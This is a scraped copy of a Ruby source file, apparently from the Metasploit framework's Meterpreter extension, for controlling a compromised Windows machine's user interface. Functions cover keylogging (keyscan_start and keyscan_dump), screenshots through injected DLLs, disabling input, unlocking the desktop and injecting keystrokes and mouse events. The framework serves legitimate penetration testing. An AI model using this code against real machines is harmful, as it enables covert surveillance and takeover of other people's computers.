Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/lib/rex/post/meterpreter/extensions/stdapi/ui.rb
Views: 11791
# -*- coding: binary -*-12require 'rex/post/ui'34module Rex5module Post6module Meterpreter7module Extensions8module Stdapi910###11#12# Allows for interacting with the user interface on the remote machine,13# such as by disabling the keyboard and mouse.14#15# WARNING:16#17# Using keyboard and mouse enabling/disabling features will result in18# a DLL file being written to disk.19#20###21class UI < Rex::Post::UI2223include Rex::Post::Meterpreter::ObjectAliasesContainer2425##26#27# Constructor28#29##3031#32# Initializes the post-exploitation user-interface manipulation subsystem.33#34def initialize(client)35self.client = client36end3738##39#40# Device enabling/disabling41#42##4344#45# Disable keyboard input on the remote machine.46#47def disable_keyboard48return enable_keyboard(false)49end5051#52# Enable keyboard input on the remote machine.53#54def enable_keyboard(enable = true)55request = Packet.create_request(COMMAND_ID_STDAPI_UI_ENABLE_KEYBOARD)5657request.add_tlv(TLV_TYPE_BOOL, enable)5859client.send_request(request)6061return true62end6364#65# Disable mouse input on the remote machine.66#67def disable_mouse68return enable_mouse(false)69end7071#72# Enable mouse input on the remote machine.73#74def enable_mouse(enable = true)75request = Packet.create_request(COMMAND_ID_STDAPI_UI_ENABLE_MOUSE)7677request.add_tlv(TLV_TYPE_BOOL, enable)7879client.send_request(request)8081return true82end8384#85# Returns the number of seconds the remote machine has been idle86# from user input.87#88def idle_time89request = Packet.create_request(COMMAND_ID_STDAPI_UI_GET_IDLE_TIME)9091response = client.send_request(request)9293return response.get_tlv_value(TLV_TYPE_IDLE_TIME);94end9596#97# Enumerate desktops.98#99def enum_desktops100request = Packet.create_request(COMMAND_ID_STDAPI_UI_DESKTOP_ENUM)101response = client.send_request(request)102desktopz = []103if( response.result == 0 )104response.each( TLV_TYPE_DESKTOP ) { | desktop |105desktopz << {106'session' => desktop.get_tlv_value( TLV_TYPE_DESKTOP_SESSION ),107'station' => desktop.get_tlv_value( TLV_TYPE_DESKTOP_STATION ),108'name' => desktop.get_tlv_value( TLV_TYPE_DESKTOP_NAME )109}110}111end112return desktopz113end114115#116# Get the current desktop meterpreter is using.117#118def get_desktop119request = Packet.create_request( COMMAND_ID_STDAPI_UI_DESKTOP_GET )120response = client.send_request( request )121desktop = {}122if( response.result == 0 )123desktop = {124'session' => response.get_tlv_value( TLV_TYPE_DESKTOP_SESSION ),125'station' => response.get_tlv_value( TLV_TYPE_DESKTOP_STATION ),126'name' => response.get_tlv_value( TLV_TYPE_DESKTOP_NAME )127}128end129return desktop130end131132#133# Change the meterpreters current desktop. The switch param sets this134# new desktop as the interactive one (The local users visible desktop135# with screen/keyboard/mouse control).136#137def set_desktop( session=-1, station='WinSta0', name='Default', switch=false )138request = Packet.create_request( COMMAND_ID_STDAPI_UI_DESKTOP_SET )139request.add_tlv( TLV_TYPE_DESKTOP_SESSION, session )140request.add_tlv( TLV_TYPE_DESKTOP_STATION, station )141request.add_tlv( TLV_TYPE_DESKTOP_NAME, name )142request.add_tlv( TLV_TYPE_DESKTOP_SWITCH, switch )143response = client.send_request( request )144if( response.result == 0 )145return true146end147return false148end149150#151# Grab a screenshot of the interactive desktop152#153def screenshot( quality=50 )154request = Packet.create_request( COMMAND_ID_STDAPI_UI_DESKTOP_SCREENSHOT )155request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality )156157if client.base_platform == 'windows'158# Check if the target is running Windows 8/Windows Server 2012 or later and there are session 0 desktops visible.159# Session 0 desktops should only be visible to services. Windows 8/Server 2012 and later introduce the restricted160# desktop for services, which means that services cannot view the normal user's desktop or otherwise interact with161# it in any way. Attempting to take a screenshot from a service on these systems can lead to non-desireable162# behavior, such as explorer.exe crashing, which will force the compromised user to log back into their system163# again. For these reasons, any attempt to perform screenshots under these circumstances will be met with an error message.164opSys = client.sys.config.sysinfo['OS']165build = opSys.match(/Build (\d+)/)166if build.nil?167raise RuntimeError, 'Could not determine Windows build number to determine if taking a screenshot is safe.', caller168else169build_number = build[1].to_i170if build_number >= 9200 # Windows 8/Windows Server 2012 and later171current_desktops = enum_desktops172current_desktops.each do |desktop|173if desktop["session"].to_s == '0'174raise RuntimeError, 'Current session was spawned by a service on Windows 8+. No desktops are available to screenshot.', caller175end176end177end178end179180# include the x64 screenshot dll if the host OS is x64181if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )182screenshot_path = MetasploitPayloads.meterpreter_path('screenshot','x64.dll')183if screenshot_path.nil?184raise RuntimeError, "screenshot.x64.dll not found", caller185end186187encrypted_screenshot_dll = ::File.binread(screenshot_path)188screenshot_dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: encrypted_screenshot_dll)189190request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true )191end192193# but always include the x86 screenshot dll as we can use it for wow64 processes if we are on x64194screenshot_path = MetasploitPayloads.meterpreter_path('screenshot','x86.dll')195if screenshot_path.nil?196raise RuntimeError, "screenshot.x86.dll not found", caller197end198199encrypted_screenshot_dll = ::File.binread(screenshot_path)200screenshot_dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: encrypted_screenshot_dll)201202request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, screenshot_dll, false, true )203end204205# send the request and return the jpeg image if successful.206response = client.send_request( request )207if( response.result == 0 )208return response.get_tlv_value( TLV_TYPE_DESKTOP_SCREENSHOT )209end210211return nil212end213214#215# Unlock or lock the desktop216#217def unlock_desktop(unlock=true)218request = Packet.create_request(COMMAND_ID_STDAPI_UI_UNLOCK_DESKTOP)219request.add_tlv(TLV_TYPE_BOOL, unlock)220client.send_request(request)221return true222end223224#225# Start the keyboard sniffer226#227def keyscan_start(trackwindow=false)228request = Packet.create_request(COMMAND_ID_STDAPI_UI_START_KEYSCAN)229request.add_tlv( TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW, trackwindow )230client.send_request(request)231return true232end233234#235# Stop the keyboard sniffer236#237def keyscan_stop238request = Packet.create_request(COMMAND_ID_STDAPI_UI_STOP_KEYSCAN)239client.send_request(request)240return true241end242243#244# Dump the keystroke buffer245#246def keyscan_dump247request = Packet.create_request(COMMAND_ID_STDAPI_UI_GET_KEYS_UTF8)248response = client.send_request(request)249return response.get_tlv_value(TLV_TYPE_KEYS_DUMP);250end251252#253# Send keystrokes254#255def keyboard_send(keys)256request = Packet.create_request(COMMAND_ID_STDAPI_UI_SEND_KEYS)257request.add_tlv( TLV_TYPE_KEYS_SEND, keys )258client.send_request(request)259return true260end261262#263# Send key events264#265def keyevent_send(key_code, action = 0)266key_data = [ action, key_code ].pack("VV")267request = Packet.create_request(COMMAND_ID_STDAPI_UI_SEND_KEYEVENT)268request.add_tlv( TLV_TYPE_KEYEVENT_SEND, key_data )269client.send_request(request)270return true271end272273#274# Mouse input275#276def mouse(mouseaction, x=-1, y=-1)277request = Packet.create_request(COMMAND_ID_STDAPI_UI_SEND_MOUSE)278action = 0279case mouseaction280when "move"281action = 0282when "click", "tap", "leftclick"283action = 1284when "down", "leftdown"285action = 2286when "up", "leftup"287action = 3288when "rightclick"289action = 4290when "rightdown"291action = 5292when "rightup"293action = 6294when "doubleclick"295action = 7296else297action = mouseaction.to_i298end299request.add_tlv( TLV_TYPE_MOUSE_ACTION, action )300request.add_tlv( TLV_TYPE_MOUSE_X, x.to_i )301request.add_tlv( TLV_TYPE_MOUSE_Y, y.to_i )302client.send_request(request)303return true304end305306protected307attr_accessor :client # :nodoc:308309end310311end; end; end; end; end312313314